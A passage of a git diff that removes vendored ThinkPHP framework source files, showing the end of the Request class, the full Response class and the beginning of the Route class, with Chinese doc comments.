当前请求参数和URL地址中的参数合并 - $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false)); - - $this->mergeParam = true; - } - - if (is_array($name)) { - return $this->only($name, $this->param, $filter); - } - - return $this->input($this->param, $name, $default, $filter); - } - - /** - * 设置路由变量 - * @access public - * @param Rule $rule 路由对象 - * @return $this - */ - public function setRule(Rule $rule) - { - $this->rule = $rule; - return $this; - } - - /** - * 获取当前路由对象 - * @access public - * @return Rule|null - */ - public function rule() - { - return $this->rule; - } - - /** - * 设置路由变量 - * @access public - * @param array $route 路由变量 - * @return $this - */ - public function setRoute(array $route) - { - $this->route = array_merge($this->route, $route); - $this->mergeParam = false; - return $this; - } - - /** - * 获取路由参数 - * @access public - * @param string|array $name 变量名 - * @param mixed $default 默认值 - * @param string|array $filter 过滤方法 - * @return mixed - */ - public function route($name = '', $default = null, $filter = '') - { - if (is_array($name)) { - return $this->only($name, $this->route, $filter); - } - - return $this->input($this->route, $name, $default, $filter); - } - - /** - * 获取GET参数 - * @access public - * @param string|array $name 变量名 - * @param mixed $default 默认值 - * @param string|array $filter 过滤方法 - * @return mixed - */ - public function get($name = '', $default = null, $filter = '') - { - if (is_array($name)) { - return $this->only($name, $this->get, $filter); - } - - return $this->input($this->get, $name, $default, $filter); - } - - /** - * 获取中间件传递的参数 - * @access public - * @param mixed $name 变量名 - * @param mixed $default 默认值 - * @return mixed - */ - public function middleware($name, $default = null) - { - return $this->middleware[$name] ?? $default; - } - - /** - * 获取POST参数 - * @access public - * @param string|array $name 变量名 - * @param mixed $default 默认值 - * @param string|array $filter 过滤方法 - * @return mixed - */ - public function post($name = '', $default = null, $filter = '') - { - if (is_array($name)) { - return $this->only($name, $this->post, $filter); - } - - return $this->input($this->post, $name, $default, $filter); - } - - /** - * 获取PUT参数 - * @access public - * @param string|array $name 变量名 - * @param mixed $default 默认值 - * @param string|array $filter 过滤方法 - * @return mixed - */ - public function put($name = '', $default = null, $filter = '') - { - if (is_array($name)) { - return $this->only($name, $this->put, $filter); - } - - return $this->input($this->put, $name, $default, $filter); - } - - protected function getInputData($content): array - { - $contentType = $this->contentType(); - if ('application/x-www-form-urlencoded' == $contentType) { - parse_str($content, $data); - return $data; - } elseif (false !== strpos($contentType, 'json')) { - return (array) json_decode($content, true); - } - - return []; - } - - /** - * 设置获取DELETE参数 - * @access public - * @param mixed $name 变量名 - * @param mixed $default 默认值 - * @param string|array $filter 过滤方法 - * @return mixed - */ - public function delete($name = '', $default = null, $filter = '') - { - return $this->put($name, $default, $filter); - } - - /** - * 设置获取PATCH参数 - * @access public - * @param mixed $name 变量名 - * @param mixed $default 默认值 - * @param string|array $filter 过滤方法 - * @return mixed - */ - public function patch($name = '', $default = null, $filter = '') - { - return $this->put($name, $default, $filter); - } - - /** - * 获取request变量 - * @access public - * @param string|array $name 数据名称 - * @param mixed $default 默认值 - * @param string|array $filter 过滤方法 - * @return mixed - */ - public function request($name = '', $default = null, $filter = '') - { - if (is_array($name)) { - return $this->only($name, $this->request, $filter); - } - - return $this->input($this->request, $name, $default, $filter); - } - - /** - * 获取环境变量 - * @access public - * @param string $name 数据名称 - * @param string $default 默认值 - * @return mixed - */ - public function env(string $name = '', string $default = null) - { - if (empty($name)) { - return $this->env->get(); - } else { - $name = strtoupper($name); - } - - return $this->env->get($name, $default); - } - - /** - * 获取session数据 - * @access public - * @param string $name 数据名称 - * @param string $default 默认值 - * @return mixed - */ - public function session(string $name = '', $default = null) - { - if ('' === $name) { - return $this->session->all(); - } - return $this->session->get($name, $default); - } - - /** - * 获取cookie参数 - * @access public - * @param mixed $name 数据名称 - * @param string $default 默认值 - * @param string|array $filter 过滤方法 - * @return mixed - */ - public function cookie(string $name = '', $default = null, $filter = '') - { - if (!empty($name)) { - $data = $this->getData($this->cookie, $name, $default); - } else { - $data = $this->cookie; - } - - // 解析过滤器 - $filter = $this->getFilter($filter, $default); - - if (is_array($data)) { - array_walk_recursive($data, [$this, 'filterValue'], $filter); - } else { - $this->filterValue($data, $name, $filter); - } - - return $data; - } - - /** - * 获取server参数 - * @access public - * @param string $name 数据名称 - * @param string $default 默认值 - * @return mixed - */ - public function server(string $name = '', string $default = '') - { - if (empty($name)) { - return $this->server; - } else { - $name = strtoupper($name); - } - - return $this->server[$name] ?? $default; - } - - /** - * 获取上传的文件信息 - * @access public - * @param string $name 名称 - * @return null|array|UploadedFile - */ - public function file(string $name = '') - { - $files = $this->file; - if (!empty($files)) { - - if (strpos($name, '.')) { - [$name, $sub] = explode('.', $name); - } - - // 处理上传文件 - $array = $this->dealUploadFile($files, $name); - - if ('' === $name) { - // 获取全部文件 - return $array; - } elseif (isset($sub) && isset($array[$name][$sub])) { - return $array[$name][$sub]; - } elseif (isset($array[$name])) { - return $array[$name]; - } - } - } - - protected function dealUploadFile(array $files, string $name): array - { - $array = []; - foreach ($files as $key => $file) { - if (is_array($file['name'])) { - $item = []; - $keys = array_keys($file); - $count = count($file['name']); - - for ($i = 0; $i < $count; $i++) { - if ($file['error'][$i] > 0) { - if ($name == $key) { - $this->throwUploadFileError($file['error'][$i]); - } else { - continue; - } - } - - $temp['key'] = $key; - - foreach ($keys as $_key) { - $temp[$_key] = $file[$_key][$i]; - } - - $item[] = new UploadedFile($temp['tmp_name'], $temp['name'], $temp['type'], $temp['error']); - } - - $array[$key] = $item; - } else { - if ($file instanceof File) { - $array[$key] = $file; - } else { - if ($file['error'] > 0) { - if ($key == $name) { - $this->throwUploadFileError($file['error']); - } else { - continue; - } - } - - $array[$key] = new UploadedFile($file['tmp_name'], $file['name'], $file['type'], $file['error']); - } - } - } - - return $array; - } - - protected function throwUploadFileError($error) - { - static $fileUploadErrors = [ - 1 => 'upload File size exceeds the maximum value', - 2 => 'upload File size exceeds the maximum value', - 3 => 'only the portion of file is uploaded', - 4 => 'no file to uploaded', - 6 => 'upload temp dir not found', - 7 => 'file write error', - ]; - - $msg = $fileUploadErrors[$error]; - throw new Exception($msg, $error); - } - - /** - * 设置或者获取当前的Header - * @access public - * @param string $name header名称 - * @param string $default 默认值 - * @return string|array - */ - public function header(string $name = '', string $default = null) - { - if ('' === $name) { - return $this->header; - } - - $name = str_replace('_', '-', strtolower($name)); - - return $this->header[$name] ?? $default; - } - - /** - * 获取变量 支持过滤和默认值 - * @access public - * @param array $data 数据源 - * @param string|false $name 字段名 - * @param mixed $default 默认值 - * @param string|array $filter 过滤函数 - * @return mixed - */ - public function input(array $data = [], $name = '', $default = null, $filter = '') - { - if (false === $name) { - // 获取原始数据 - return $data; - } - - $name = (string) $name; - if ('' != $name) { - // 解析name - if (strpos($name, '/')) { - [$name, $type] = explode('/', $name); - } - - $data = $this->getData($data, $name); - - if (is_null($data)) { - return $default; - } - - if (is_object($data)) { - return $data; - } - } - - $data = $this->filterData($data, $filter, $name, $default); - - if (isset($type) && $data !== $default) { - // 强制类型转换 - $this->typeCast($data, $type); - } - - return $data; - } - - protected function filterData($data, $filter, $name, $default) - { - // 解析过滤器 - $filter = $this->getFilter($filter, $default); - - if (is_array($data)) { - array_walk_recursive($data, [$this, 'filterValue'], $filter); - } else { - $this->filterValue($data, $name, $filter); - } - - return $data; - } - - /** - * 强制类型转换 - * @access public - * @param mixed $data - * @param string $type - * @return mixed - */ - private function typeCast(&$data, string $type) - { - switch (strtolower($type)) { - // 数组 - case 'a': - $data = (array) $data; - break; - // 数字 - case 'd': - $data = (int) $data; - break; - // 浮点 - case 'f': - $data = (float) $data; - break; - // 布尔 - case 'b': - $data = (boolean) $data; - break; - // 字符串 - case 's': - if (is_scalar($data)) { - $data = (string) $data; - } else { - throw new \InvalidArgumentException('variable type error:' . gettype($data)); - } - break; - } - } - - /** - * 获取数据 - * @access public - * @param array $data 数据源 - * @param string $name 字段名 - * @param mixed $default 默认值 - * @return mixed - */ - protected function getData(array $data, string $name, $default = null) - { - foreach (explode('.', $name) as $val) { - if (isset($data[$val])) { - $data = $data[$val]; - } else { - return $default; - } - } - - return $data; - } - - /** - * 设置或获取当前的过滤规则 - * @access public - * @param mixed $filter 过滤规则 - * @return mixed - */ - public function filter($filter = null) - { - if (is_null($filter)) { - return $this->filter; - } - - $this->filter = $filter; - - return $this; - } - - protected function getFilter($filter, $default): array - { - if (is_null($filter)) { - $filter = []; - } else { - $filter = $filter ?: $this->filter; - if (is_string($filter) && false === strpos($filter, '/')) { - $filter = explode(',', $filter); - } else { - $filter = (array) $filter; - } - } - - $filter[] = $default; - - return $filter; - } - - /** - * 递归过滤给定的值 - * @access public - * @param mixed $value 键值 - * @param mixed $key 键名 - * @param array $filters 过滤方法+默认值 - * @return mixed - */ - public function filterValue(&$value, $key, $filters) - { - $default = array_pop($filters); - - foreach ($filters as $filter) { - if (is_callable($filter)) { - // 调用函数或者方法过滤 - $value = call_user_func($filter, $value); - } elseif (is_scalar($value)) { - if (is_string($filter) && false !== strpos($filter, '/')) { - // 正则过滤 - if (!preg_match($filter, $value)) { - // 匹配不成功返回默认值 - $value = $default; - break; - } - } elseif (!empty($filter)) { - // filter函数不存在时, 则使用filter_var进行过滤 - // filter为非整形值时, 调用filter_id取得过滤id - $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter)); - if (false === $value) { - $value = $default; - break; - } - } - } - } - - return $value; - } - - /** - * 是否存在某个请求参数 - * @access public - * @param string $name 变量名 - * @param string $type 变量类型 - * @param bool $checkEmpty 是否检测空值 - * @return bool - */ - public function has(string $name, string $type = 'param', bool $checkEmpty = false): bool - { - if (!in_array($type, ['param', 'get', 'post', 'put', 'patch', 'route', 'delete', 'cookie', 'session', 'env', 'request', 'server', 'header', 'file'])) { - return false; - } - - $param = empty($this->$type) ? $this->$type() : $this->$type; - - if (is_object($param)) { - return $param->has($name); - } - - // 按.拆分成多维数组进行判断 - foreach (explode('.', $name) as $val) { - if (isset($param[$val])) { - $param = $param[$val]; - } else { - return false; - } - } - - return ($checkEmpty && '' === $param) ? false : true; - } - - /** - * 获取指定的参数 - * @access public - * @param array $name 变量名 - * @param mixed $data 数据或者变量类型 - * @param string|array $filter 过滤方法 - * @return array - */ - public function only(array $name, $data = 'param', $filter = ''): array - { - $data = is_array($data) ? $data : $this->$data(); - - $item = []; - foreach ($name as $key => $val) { - - if (is_int($key)) { - $default = null; - $key = $val; - if (!isset($data[$key])) { - continue; - } - } else { - $default = $val; - } - - $item[$key] = $this->filterData($data[$key] ?? $default, $filter, $key, $default); - } - - return $item; - } - - /** - * 排除指定参数获取 - * @access public - * @param array $name 变量名 - * @param string $type 变量类型 - * @return mixed - */ - public function except(array $name, string $type = 'param'): array - { - $param = $this->$type(); - - foreach ($name as $key) { - if (isset($param[$key])) { - unset($param[$key]); - } - } - - return $param; - } - - /** - * 当前是否ssl - * @access public - * @return bool - */ - public function isSsl(): bool - { - if ($this->server('HTTPS') && ('1' == $this->server('HTTPS') || 'on' == strtolower($this->server('HTTPS')))) { - return true; - } elseif ('https' == $this->server('REQUEST_SCHEME')) { - return true; - } elseif ('443' == $this->server('SERVER_PORT')) { - return true; - } elseif ('https' == $this->server('HTTP_X_FORWARDED_PROTO')) { - return true; - } elseif ($this->httpsAgentName && $this->server($this->httpsAgentName)) { - return true; - } - - return false; - } - - /** - * 当前是否JSON请求 - * @access public - * @return bool - */ - public function isJson(): bool - { - $acceptType = $this->type(); - - return false !== strpos($acceptType, 'json'); - } - - /** - * 当前是否Ajax请求 - * @access public - * @param bool $ajax true 获取原始ajax请求 - * @return bool - */ - public function isAjax(bool $ajax = false): bool - { - $value = $this->server('HTTP_X_REQUESTED_WITH'); - $result = $value && 'xmlhttprequest' == strtolower($value) ? true : false; - - if (true === $ajax) { - return $result; - } - - return $this->param($this->varAjax) ? true : $result; - } - - /** - * 当前是否Pjax请求 - * @access public - * @param bool $pjax true 获取原始pjax请求 - * @return bool - */ - public function isPjax(bool $pjax = false): bool - { - $result = !empty($this->server('HTTP_X_PJAX')) ? true : false; - - if (true === $pjax) { - return $result; - } - - return $this->param($this->varPjax) ? true : $result; - } - - /** - * 获取客户端IP地址 - * @access public - * @return string - */ - public function ip(): string - { - if (!empty($this->realIP)) { - return $this->realIP; - } - - $this->realIP = $this->server('REMOTE_ADDR', ''); - - // 如果指定了前端代理服务器IP以及其会发送的IP头 - // 则尝试获取前端代理服务器发送过来的真实IP - $proxyIp = $this->proxyServerIp; - $proxyIpHeader = $this->proxyServerIpHeader; - - if (count($proxyIp) > 0 && count($proxyIpHeader) > 0) { - // 从指定的HTTP头中依次尝试获取IP地址 - // 直到获取到一个合法的IP地址 - foreach ($proxyIpHeader as $header) { - $tempIP = $this->server($header); - - if (empty($tempIP)) { - continue; - } - - $tempIP = trim(explode(',', $tempIP)[0]); - - if (!$this->isValidIP($tempIP)) { - $tempIP = null; - } else { - break; - } - } - - // tempIP不为空,说明获取到了一个IP地址 - // 这时我们检查 REMOTE_ADDR 是不是指定的前端代理服务器之一 - // 如果是的话说明该 IP头 是由前端代理服务器设置的 - // 否则则是伪装的 - if (!empty($tempIP)) { - $realIPBin = $this->ip2bin($this->realIP); - - foreach ($proxyIp as $ip) { - $serverIPElements = explode('/', $ip); - $serverIP = $serverIPElements[0]; - $serverIPPrefix = $serverIPElements[1] ?? 128; - $serverIPBin = $this->ip2bin($serverIP); - - // IP类型不符 - if (strlen($realIPBin) !== strlen($serverIPBin)) { - continue; - } - - if (strncmp($realIPBin, $serverIPBin, (int) $serverIPPrefix) === 0) { - $this->realIP = $tempIP; - break; - } - } - } - } - - if (!$this->isValidIP($this->realIP)) { - $this->realIP = '0.0.0.0'; - } - - return $this->realIP; - } - - /** - * 检测是否是合法的IP地址 - * - * @param string $ip IP地址 - * @param string $type IP地址类型 (ipv4, ipv6) - * - * @return boolean - */ - public function isValidIP(string $ip, string $type = ''): bool - { - switch (strtolower($type)) { - case 'ipv4': - $flag = FILTER_FLAG_IPV4; - break; - case 'ipv6': - $flag = FILTER_FLAG_IPV6; - break; - default: - $flag = null; - break; - } - - return boolval(filter_var($ip, FILTER_VALIDATE_IP, $flag)); - } - - /** - * 将IP地址转换为二进制字符串 - * - * @param string $ip - * - * @return string - */ - public function ip2bin(string $ip): string - { - if ($this->isValidIP($ip, 'ipv6')) { - $IPHex = str_split(bin2hex(inet_pton($ip)), 4); - foreach ($IPHex as $key => $value) { - $IPHex[$key] = intval($value, 16); - } - $IPBin = vsprintf('%016b%016b%016b%016b%016b%016b%016b%016b', $IPHex); - } else { - $IPHex = str_split(bin2hex(inet_pton($ip)), 2); - foreach ($IPHex as $key => $value) { - $IPHex[$key] = intval($value, 16); - } - $IPBin = vsprintf('%08b%08b%08b%08b', $IPHex); - } - - return $IPBin; - } - - /** - * 检测是否使用手机访问 - * @access public - * @return bool - */ - public function isMobile(): bool - { - if ($this->server('HTTP_VIA') && stristr($this->server('HTTP_VIA'), "wap")) { - return true; - } elseif ($this->server('HTTP_ACCEPT') && strpos(strtoupper($this->server('HTTP_ACCEPT')), "VND.WAP.WML")) { - return true; - } elseif ($this->server('HTTP_X_WAP_PROFILE') || $this->server('HTTP_PROFILE')) { - return true; - } elseif ($this->server('HTTP_USER_AGENT') && preg_match('/(blackberry|configuration\/cldc|hp |hp-|htc |htc_|htc-|iemobile|kindle|midp|mmp|motorola|mobile|nokia|opera mini|opera |Googlebot-Mobile|YahooSeeker\/M1A1-R2D2|android|iphone|ipod|mobi|palm|palmos|pocket|portalmmm|ppc;|smartphone|sonyericsson|sqh|spv|symbian|treo|up.browser|up.link|vodafone|windows ce|xda |xda_)/i', $this->server('HTTP_USER_AGENT'))) { - return true; - } - - return false; - } - - /** - * 当前URL地址中的scheme参数 - * @access public - * @return string - */ - public function scheme(): string - { - return $this->isSsl() ? 'https' : 'http'; - } - - /** - * 当前请求URL地址中的query参数 - * @access public - * @return string - */ - public function query(): string - { - return $this->server('QUERY_STRING', ''); - } - - /** - * 设置当前请求的host(包含端口) - * @access public - * @param string $host 主机名(含端口) - * @return $this - */ - public function setHost(string $host) - { - $this->host = $host; - - return $this; - } - - /** - * 当前请求的host - * @access public - * @param bool $strict true 仅仅获取HOST - * @return string - */ - public function host(bool $strict = false): string - { - if ($this->host) { - $host = $this->host; - } else { - $host = strval($this->server('HTTP_X_FORWARDED_HOST') ?: $this->server('HTTP_HOST')); - } - - return true === $strict && strpos($host, ':') ? strstr($host, ':', true) : $host; - } - - /** - * 当前请求URL地址中的port参数 - * @access public - * @return int - */ - public function port(): int - { - return (int) ($this->server('HTTP_X_FORWARDED_PORT') ?: $this->server('SERVER_PORT', '')); - } - - /** - * 当前请求 SERVER_PROTOCOL - * @access public - * @return string - */ - public function protocol(): string - { - return $this->server('SERVER_PROTOCOL', ''); - } - - /** - * 当前请求 REMOTE_PORT - * @access public - * @return int - */ - public function remotePort(): int - { - return (int) $this->server('REMOTE_PORT', ''); - } - - /** - * 当前请求 HTTP_CONTENT_TYPE - * @access public - * @return string - */ - public function contentType(): string - { - $contentType = $this->header('Content-Type'); - - if ($contentType) { - if (strpos($contentType, ';')) { - [$type] = explode(';', $contentType); - } else { - $type = $contentType; - } - return trim($type); - } - - return ''; - } - - /** - * 获取当前请求的安全Key - * @access public - * @return string - */ - public function secureKey(): string - { - if (is_null($this->secureKey)) { - $this->secureKey = uniqid('', true); - } - - return $this->secureKey; - } - - /** - * 设置当前的控制器名 - * @access public - * @param string $controller 控制器名 - * @return $this - */ - public function setController(string $controller) - { - $this->controller = $controller; - return $this; - } - - /** - * 设置当前的操作名 - * @access public - * @param string $action 操作名 - * @return $this - */ - public function setAction(string $action) - { - $this->action = $action; - return $this; - } - - /** - * 获取当前的控制器名 - * @access public - * @param bool $convert 转换为小写 - * @return string - */ - public function controller(bool $convert = false): string - { - $name = $this->controller ?: ''; - return $convert ? strtolower($name) : $name; - } - - /** - * 获取当前的操作名 - * @access public - * @param bool $convert 转换为小写 - * @return string - */ - public function action(bool $convert = false): string - { - $name = $this->action ?: ''; - return $convert ? strtolower($name) : $name; - } - - /** - * 设置或者获取当前请求的content - * @access public - * @return string - */ - public function getContent(): string - { - if (is_null($this->content)) { - $this->content = $this->input; - } - - return $this->content; - } - - /** - * 获取当前请求的php://input - * @access public - * @return string - */ - public function getInput(): string - { - return $this->input; - } - - /** - * 生成请求令牌 - * @access public - * @param string $name 令牌名称 - * @param mixed $type 令牌生成方法 - * @return string - */ - public function buildToken(string $name = '__token__', $type = 'md5'): string - { - $type = is_callable($type) ? $type : 'md5'; - $token = call_user_func($type, $this->server('REQUEST_TIME_FLOAT')); - - $this->session->set($name, $token); - - return $token; - } - - /** - * 检查请求令牌 - * @access public - * @param string $token 令牌名称 - * @param array $data 表单数据 - * @return bool - */ - public function checkToken(string $token = '__token__', array $data = []): bool - { - if (in_array($this->method(), ['GET', 'HEAD', 'OPTIONS'], true)) { - return true; - } - - if (!$this->session->has($token)) { - // 令牌数据无效 - return false; - } - - // Header验证 - if ($this->header('X-CSRF-TOKEN') && $this->session->get($token) === $this->header('X-CSRF-TOKEN')) { - // 防止重复提交 - $this->session->delete($token); // 验证完成销毁session - return true; - } - - if (empty($data)) { - $data = $this->post(); - } - - // 令牌验证 - if (isset($data[$token]) && $this->session->get($token) === $data[$token]) { - // 防止重复提交 - $this->session->delete($token); // 验证完成销毁session - return true; - } - - // 开启TOKEN重置 - $this->session->delete($token); - return false; - } - - /** - * 设置在中间件传递的数据 - * @access public - * @param array $middleware 数据 - * @return $this - */ - public function withMiddleware(array $middleware) - { - $this->middleware = array_merge($this->middleware, $middleware); - return $this; - } - - /** - * 设置GET数据 - * @access public - * @param array $get 数据 - * @return $this - */ - public function withGet(array $get) - { - $this->get = $get; - return $this; - } - - /** - * 设置POST数据 - * @access public - * @param array $post 数据 - * @return $this - */ - public function withPost(array $post) - { - $this->post = $post; - return $this; - } - - /** - * 设置COOKIE数据 - * @access public - * @param array $cookie 数据 - * @return $this - */ - public function withCookie(array $cookie) - { - $this->cookie = $cookie; - return $this; - } - - /** - * 设置SESSION数据 - * @access public - * @param Session $session 数据 - * @return $this - */ - public function withSession(Session $session) - { - $this->session = $session; - return $this; - } - - /** - * 设置SERVER数据 - * @access public - * @param array $server 数据 - * @return $this - */ - public function withServer(array $server) - { - $this->server = array_change_key_case($server, CASE_UPPER); - return $this; - } - - /** - * 设置HEADER数据 - * @access public - * @param array $header 数据 - * @return $this - */ - public function withHeader(array $header) - { - $this->header = array_change_key_case($header); - return $this; - } - - /** - * 设置ENV数据 - * @access public - * @param Env $env 数据 - * @return $this - */ - public function withEnv(Env $env) - { - $this->env = $env; - return $this; - } - - /** - * 设置php://input数据 - * @access public - * @param string $input RAW数据 - * @return $this - */ - public function withInput(string $input) - { - $this->input = $input; - if (!empty($input)) { - $inputData = $this->getInputData($input); - if (!empty($inputData)) { - $this->post = $inputData; - $this->put = $inputData; - } - } - return $this; - } - - /** - * 设置文件上传数据 - * @access public - * @param array $files 上传信息 - * @return $this - */ - public function withFiles(array $files) - { - $this->file = $files; - return $this; - } - - /** - * 设置ROUTE变量 - * @access public - * @param array $route 数据 - * @return $this - */ - public function withRoute(array $route) - { - $this->route = $route; - return $this; - } - - /** - * 设置中间传递数据 - * @access public - * @param string $name 参数名 - * @param mixed $value 值 - */ - public function __set(string $name, $value) - { - $this->middleware[$name] = $value; - } - - /** - * 获取中间传递数据的值 - * @access public - * @param string $name 名称 - * @return mixed - */ - public function __get(string $name) - { - return $this->middleware($name); - } - - /** - * 检测中间传递数据的值 - * @access public - * @param string $name 名称 - * @return boolean - */ - public function __isset(string $name): bool - { - return isset($this->middleware[$name]); - } - - // ArrayAccess - public function offsetExists($name): bool - { - return $this->has($name); - } - - public function offsetGet($name) - { - return $this->param($name); - } - - public function offsetSet($name, $value) - {} - - public function offsetUnset($name) - {} - -} diff --git a/vendor/topthink/framework/src/think/Response.php b/vendor/topthink/framework/src/think/Response.php deleted file mode 100644 index 556696a..0000000 --- a/vendor/topthink/framework/src/think/Response.php +++ /dev/null @@ -1,410 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -/** - * 响应输出基础类 - * @package think - */ -abstract class Response -{ - /** - * 原始数据 - * @var mixed - */ - protected $data; - - /** - * 当前contentType - * @var string - */ - protected $contentType = 'text/html'; - - /** - * 字符集 - * @var string - */ - protected $charset = 'utf-8'; - - /** - * 状态码 - * @var integer - */ - protected $code = 200; - - /** - * 是否允许请求缓存 - * @var bool - */ - protected $allowCache = true; - - /** - * 输出参数 - * @var array - */ - protected $options = []; - - /** - * header参数 - * @var array - */ - protected $header = []; - - /** - * 输出内容 - * @var string - */ - protected $content = null; - - /** - * Cookie对象 - * @var Cookie - */ - protected $cookie; - - /** - * Session对象 - * @var Session - */ - protected $session; - - /** - * 初始化 - * @access protected - * @param mixed $data 输出数据 - * @param int $code 状态码 - */ - protected function init($data = '', int $code = 200) - { - $this->data($data); - $this->code = $code; - - $this->contentType($this->contentType, $this->charset); - } - - /** - * 创建Response对象 - * @access public - * @param mixed $data 输出数据 - * @param string $type 输出类型 - * @param int $code 状态码 - * @return Response - */ - public static function create($data = '', string $type = 'html', int $code = 200): Response - { - $class = false !== strpos($type, '\\') ? $type : '\\think\\response\\' . ucfirst(strtolower($type)); - - return Container::getInstance()->invokeClass($class, [$data, $code]); - } - - /** - * 设置Session对象 - * @access public - * @param Session $session Session对象 - * @return $this - */ - public function setSession(Session $session) - { - $this->session = $session; - return $this; - } - - /** - * 发送数据到客户端 - * @access public - * @return void - * @throws \InvalidArgumentException - */ - public function send(): void - { - // 处理输出数据 - $data = $this->getContent(); - - if (!headers_sent() && !empty($this->header)) { - // 发送状态码 - http_response_code($this->code); - // 发送头部信息 - foreach ($this->header as $name => $val) { - header($name . (!is_null($val) ? ':' . $val : '')); - } - } - if ($this->cookie) { - $this->cookie->save(); - } - - $this->sendData($data); - - if (function_exists('fastcgi_finish_request')) { - // 提高页面响应 - fastcgi_finish_request(); - } - } - - /** - * 处理数据 - * @access protected - * @param mixed $data 要处理的数据 - * @return mixed - */ - protected function output($data) - { - return $data; - } - - /** - * 输出数据 - * @access protected - * @param string $data 要处理的数据 - * @return void - */ - protected function sendData(string $data): void - { - echo $data; - } - - /** - * 输出的参数 - * @access public - * @param mixed $options 输出参数 - * @return $this - */ - public function options(array $options = []) - { - $this->options = array_merge($this->options, $options); - - return $this; - } - - /** - * 输出数据设置 - * @access public - * @param mixed $data 输出数据 - * @return $this - */ - public function data($data) - { - $this->data = $data; - - return $this; - } - - /** - * 是否允许请求缓存 - * @access public - * @param bool $cache 允许请求缓存 - * @return $this - */ - public function allowCache(bool $cache) - { - $this->allowCache = $cache; - - return $this; - } - - /** - * 是否允许请求缓存 - * @access public - * @return $this - */ - public function isAllowCache() - { - return $this->allowCache; - } - - /** - * 设置Cookie - * @access public - * @param string $name cookie名称 - * @param string $value cookie值 - * @param mixed $option 可选参数 - * @return $this - */ - public function cookie(string $name, string $value, $option = null) - { - $this->cookie->set($name, $value, $option); - - return $this; - } - - /** - * 设置响应头 - * @access public - * @param array $header 参数 - * @return $this - */ - public function header(array $header = []) - { - $this->header = array_merge($this->header, $header); - - return $this; - } - - /** - * 设置页面输出内容 - * @access public - * @param mixed $content - * @return $this - */ - public function content($content) - { - if (null !== $content && !is_string($content) && !is_numeric($content) && !is_callable([ - $content, - '__toString', - ]) - ) { - throw new \InvalidArgumentException(sprintf('variable type error: %s', gettype($content))); - } - - $this->content = (string) $content; - - return $this; - } - - /** - * 发送HTTP状态 - * @access public - * @param integer $code 状态码 - * @return $this - */ - public function code(int $code) - { - $this->code = $code; - - return $this; - } - - /** - * LastModified - * @access public - * @param string $time - * @return $this - */ - public function lastModified(string $time) - { - $this->header['Last-Modified'] = $time; - - return $this; - } - - /** - * Expires - * @access public - * @param string $time - * @return $this - */ - public function expires(string $time) - { - $this->header['Expires'] = $time; - - return $this; - } - - /** - * ETag - * @access public - * @param string $eTag - * @return $this - */ - public function eTag(string $eTag) - { - $this->header['ETag'] = $eTag; - - return $this; - } - - /** - * 页面缓存控制 - * @access public - * @param string $cache 状态码 - * @return $this - */ - public function cacheControl(string $cache) - { - $this->header['Cache-control'] = $cache; - - return $this; - } - - /** - * 页面输出类型 - * @access public - * @param string $contentType 输出类型 - * @param string $charset 输出编码 - * @return $this - */ - public function contentType(string $contentType, string $charset = 'utf-8') - { - $this->header['Content-Type'] = $contentType . '; charset=' . $charset; - - return $this; - } - - /** - * 获取头部信息 - * @access public - * @param string $name 头部名称 - * @return mixed - */ - public function getHeader(string $name = '') - { - if (!empty($name)) { - return $this->header[$name] ?? null; - } - - return $this->header; - } - - /** - * 获取原始数据 - * @access public - * @return mixed - */ - public function getData() - { - return $this->data; - } - - /** - * 获取输出数据 - * @access public - * @return string - */ - public function getContent(): string - { - if (null == $this->content) { - $content = $this->output($this->data); - - if (null !== $content && !is_string($content) && !is_numeric($content) && !is_callable([ - $content, - '__toString', - ]) - ) { - throw new \InvalidArgumentException(sprintf('variable type error: %s', gettype($content))); - } - - $this->content = (string) $content; - } - - return $this->content; - } - - /** - * 获取状态码 - * @access public - * @return integer - */ - public function getCode(): int - { - return $this->code; - } -} diff --git a/vendor/topthink/framework/src/think/Route.php b/vendor/topthink/framework/src/think/Route.php deleted file mode 100644 index 5e2881b..0000000 --- a/vendor/topthink/framework/src/think/Route.php +++ /dev/null @@ -1,926 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use Closure; -use think\exception\RouteNotFoundException; -use think\route\Dispatch; -use think\route\dispatch\Callback; -use think\route\dispatch\Url as UrlDispatch; -use think\route\Domain; -use think\route\Resource; -use think\route\Rule; -use think\route\RuleGroup; -use think\route\RuleItem; -use think\route\RuleName; -use think\route\Url as UrlBuild; - -/** - * 路由管理类 - * @package think - */ -class Route -{ - /** - * REST定义 - * @var array - */ - protected $rest = [ - 'index' => ['get', '', 'index'], - 'create' => ['get', '/create', 'create'], - 'edit' => ['get', '//edit', 'edit'], - 'read' => ['get', '/', 'read'], - 'save' => ['post', '', 'save'], - 'update' => ['put', '/', 'update'], - 'delete' => ['delete', '/', 'delete'], - ]; - - /** - * 配置参数 - * @var array - */ - protected $config = [ - // pathinfo分隔符 - 'pathinfo_depr' => '/', - // 是否开启路由延迟解析 - 'url_lazy_route' => false, - // 是否强制使用路由 - 'url_route_must' => false, - // 合并路由规则 - 'route_rule_merge' => false, - // 路由是否完全匹配 - 'route_complete_match' => false, - // 去除斜杠 - 'remove_slash' => false, - // 使用注解路由 - 'route_annotation' => false, - // 默认的路由变量规则 - 'default_route_pattern' => '[\w\.]+', - // URL伪静态后缀 - 'url_html_suffix' => 'html', - // 访问控制器层名称 - 'controller_layer' => 'controller', - // 空控制器名 - 'empty_controller' => 'Error', - // 是否使用控制器后缀 - 'controller_suffix' => false, - // 默认控制器名 - 'default_controller' => 'Index', - // 默认操作名 - 'default_action' => 'index', - // 操作方法后缀 - 'action_suffix' => '', - // 非路由变量是否使用普通参数方式(用于URL生成) - 'url_common_param' => true, - ]; - - /** - * 当前应用 - * @var App - */ - protected $app; - - /** - * 请求对象 - * @var Request - */ - protected $request; - - /** - * @var RuleName - */ - protected $ruleName; - - /** - * 当前HOST - * @var string - */ - protected $host; - - /** - * 当前分组对象 - * @var RuleGroup - */ - protected $group; - - /** - * 路由绑定 - * @var array - */ - protected $bind = []; - - /** - * 域名对象 - * @var Domain[] - */ - protected $domains = []; - - /** - * 跨域路由规则 - * @var RuleGroup - */ - protected $cross; - - /** - * 路由是否延迟解析 - * @var bool - */ - protected $lazy = false; - - /** - * 路由是否测试模式 - * @var bool - */ - protected $isTest = false; - - /** - * (分组)路由规则是否合并解析 - * @var bool - */ - protected $mergeRuleRegex = false; - - /** - * 是否去除URL最后的斜线 - * @var bool - */ - protected $removeSlash 